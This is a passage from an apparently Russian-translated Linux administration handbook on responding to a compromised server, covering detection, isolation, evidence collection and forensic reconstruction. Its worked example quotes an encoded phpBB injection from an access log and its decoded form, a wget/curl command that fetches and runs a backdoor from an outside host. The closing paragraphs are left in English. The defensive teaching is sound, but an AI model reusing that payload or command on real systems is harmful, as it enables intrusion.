14.7. Работа с компрометированной машиной
Несмотря на лучшие намерения и тем не менее тщательно разработанные политики безопасности, администратор в конечном итоге сталкивается с актом угона. Этот раздел содержит несколько руководящих принципов относительно того, как реагировать на эти прискорбные обстоятельства.
14.7.1. Обнаружение вторжения крэкера
Первый шаг реагирования на крэкинг - это знать о таком акте. Это не очевидно, особенно без надлежащей инфраструктуры мониторинга.
Взлом часто не обнаруживается до тех пор, пока не возникает прямых последствий для законных сервисов, размещённых на машине, например замедление подключений, некоторые пользователи не могут подключиться или любой другой тип неисправности. Столкнувшись с этими проблемами, администратор должен хорошо исследовать машину и тщательно изучить то, что плохо себя ведёт. Обычно это время, когда они обнаруживают необычный процесс, например, один названный apache вместо стандартного /usr/sbin/apache2. Если следовать этому примеру, вещь, которую нужно сделать, это отметить идентификатор процесса и проверить /proc/pid /exe, чтобы увидеть, какая программа в настоящее время работает:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Программа, установленная в /var/tmp/ и работающая как веб-сервер? Без сомнения, машина скомпрометирована.
Это только один пример, но многие другие подсказки могут быть "звоночками" для администратора:
возможность для команды, которая больше не работает; версия программного обеспечения, которое команда утверждает, не соответствует версии, которая должна быть установлена согласно dpkg;
командная строка или приветствие сеанса, указывающее, что последнее соединение происходит от неизвестного сервера на другом континенте;
ошибки, вызванные переполненным разделом /tmp/ из-за незаконных копий фильмов;
и так далее.
14.7.2. Перевод сервера в автономный режим
В любых, кроме самых экзотических случаев, взлом происходит из сети, и злоумышленнику нужна рабочая сеть для достижения своих целей (доступ к конфиденциальным данным, шаринг незаконных файлов, скрытие своей личности, используя машину в качестве релея и так далее). Выключение компьютера из сети предотвратит достижение злоумышленником этих целей, если ему ещё не удалось это сделать.
Это может быть возможно только в том случае, если сервер физически доступен. Когда сервер размещён в центре данных хостинг-провайдера на полпути через всю страну, или если сервер недоступен по какой-либо другой причине, обычно хорошая идея - начать с сбора важной информации (см.
Раздел 14.7.3, «Сохранить всё, что может быть использовано как доказательство»,
Раздел 14.7.5, «Судебный анализ (форензика)» и
Раздел 14.7.6, «Изменение сценария атаки»), и изолировать этот сервер как можно больше, закрывая как можно больше сервисов (обычно, все, кроме
sshd ). Этот случай достаточно неуклюж, так как нельзя исключать возможность того, что злоумышленник имеет доступ к SSH, как у администратора; это затрудняет "чистку" машин.
14.7.3. Сохранить всё, что может быть использовано как доказательство
Понимание атаки и/или привлечения юридических действий против злоумышленников требует получения копий всех важных элементов; это включает в себя содержание жёсткого диска, список всех запущенных процессов и список всех открытых соединений. Содержание RAM также может быть использовано, но оно редко используется на практике.
В пылу действий администраторы часто испытывают соблазн выполнять много проверок на скомпрометированном компьютере; это обычно не хорошая идея. Каждая команда потенциально разрушительна и может стереть части доказательств. Проверка должна быть ограничена минимальным набором (netstat -tupan для сетевых соединений, ps auxf для списка процессов, ls -alR /proc/[0-9]* для получения информации о запущенных программах), и каждая выполненная проверка должна быть тщательно записана.
Как только “динамические” элементы будут сохранены, следующий шаг - сохранить полный образ жёсткого диска. Создание такого образа невозможно, если файловая система всё ещё изменяется, поэтому её необходимо перемонтировать только для чтения. Самое простое решение часто заключается в том, чтобы жёстко остановить сервер (после запуска sync ) и перезагрузить его со спасательного компакт-диска. Каждый раздел должен быть скопирован таким инструментом, как dd; эти образы могут быть отправлены на другой сервер (очень удобным инструментом nc. Другая возможность может быть ещё проще: просто изымите диск из машины и замените его новым, который можно переформатировать и переустановить ОС.
Сервер не должен вводиться в эксплуатацию без полной переустановки. Если компромисс был суровым (административные привилегии были получены), то практически нет другого способа, чтобы быть уверенным, что мы избавимся от всего, что мог оставить нападавший (особенно бэкдоры. Конечно, все последние обновления безопасности также должны быть применены, чтобы исключить уязвимость, использовавшуюся злоумышленником. В идеале, анализ атаки должен указывать на этот вектор атаки для уверенности в закрытии уязвимости; в противном случае можно только надеяться, что уязвимость была исправлена обновлениями.
Переустановка удалённого сервера не всегда проста; это может быть связано с помощью хостинговой компании, поскольку не все такие компании предоставляют автоматизированные системы переустановки или удалённые консоли (хотя эти случаи должны быть редкими). Следует позаботиться о том, чтобы не переустановливать машину из резервных копий, снятых позже даты компрометации. В идеале, только данные должны быть восстановлены, фактическое программное обеспечение должно быть переустановлено с установочных носителей.
14.7.5. Судебный анализ (форензика)
Теперь, когда сервис был восстановлен, пришло время более внимательно посмотреть на диск образа скомпрометированной системы, чтобы понять вектор атаки. При монтировании этих образов следует позаботиться об использовании опций ro,nodev,noexec,noatime, чтобы избежать изменения содержимого (включая временные параметры доступа к файлам) или запуска скомпрометированных программ по ошибке.
Прослеживание сценария атаки обычно включает в себя поиск всего, что было изменено и исполнено:
.bash_history файлы часто содержат очень интересный материал для чтения;
так как перечисляет список файлов, которые были недавно созданы, изменены или доступны;
команда strings помогает определить программы, установленные злоумышленником, извлекая текстовые строки из двоичного кода;
файлы журналов в /var/log/ часто позволяют реконструировать хронологию событий;
инструменты специального назначения также позволяют восстановить содержимое потенциально удалённых файлов, включая файлы журналов, которые злоумышленники часто удаляют.
Некоторые из этих операций могут быть проще с помощью специализированного программного обеспечения. В частности, пакет
sleuthkit предоставляет множество инструментов для анализа файловой системы. Их использование облегчается графическим интерфейсом
Autopsy Forensic Browser (в пакете
autopsy. Некоторые дистрибутивы Linux имеют «живую установку» образа и содержат множество программ для судебного анализа, таких как Kali Linux (см.
Раздел A.8, «Kali Linux»), с его
форенсическим режимом , BlackArchLinux и коммерческим Grml-Forensic, основанным на Grml (см.
Раздел A.6, «Grml»).
14.7.6. Изменение сценария атаки
Все элементы, собранные во время анализа, должны соединиться, как куски в головоломке; создание первых подозрительных файлов часто коррелирует с журналами, доказывающими нарушение. Реальный пример должен быть более явным, чем длинные теоретические сплетни.
Следующий журнал - это выдержка из Apache access.log:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Этот пример соответствует эксплуатации старой уязвимости безопасности в PHPBB
Декодирование этого длинного URL приводит к пониманию того, что злоумышленнику удалось запустить какой-то PHP-код, а именно: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Действительно, файл bd был найден в /tmp/. Запуск strings /mnt/tmp/bd вернул среди других строк PsychoPhobia Backdoor starting... Это действительно похоже на backdoor.
Некоторое время спустя этот доступ был использован для загрузки, установки и запуска IRC bot, который был подключен к underground сети IRC. Затем бот мог управляться с помощью этого протокола и получил задание загрузить файлы для обмена. Эта программа даже имеет свой собственный файл журнала:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT попытка авторизации от GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT получил от GAB, попытка соединения с 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT соединение успешно, аутентификация
** 2004-11-29-19:50:20: DCC CHAT Верный пароль
(...)
** 2004-11-29-19:50:49: DCC Передача Подтверждена от ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Передача Подтверждена от GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Передача завершена (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Передача завершена (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Эти следы показывают, что два видеофайла были сохранены на сервере по IP-адресу 82.50.72.202.
In parallel, the attacker also downloaded a pair of extra files, /tmp/pt and /tmp/loginx. Running these files through strings leads to strings such as Shellcode placed at 0x%08lx and Now wait for suid shell.... These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
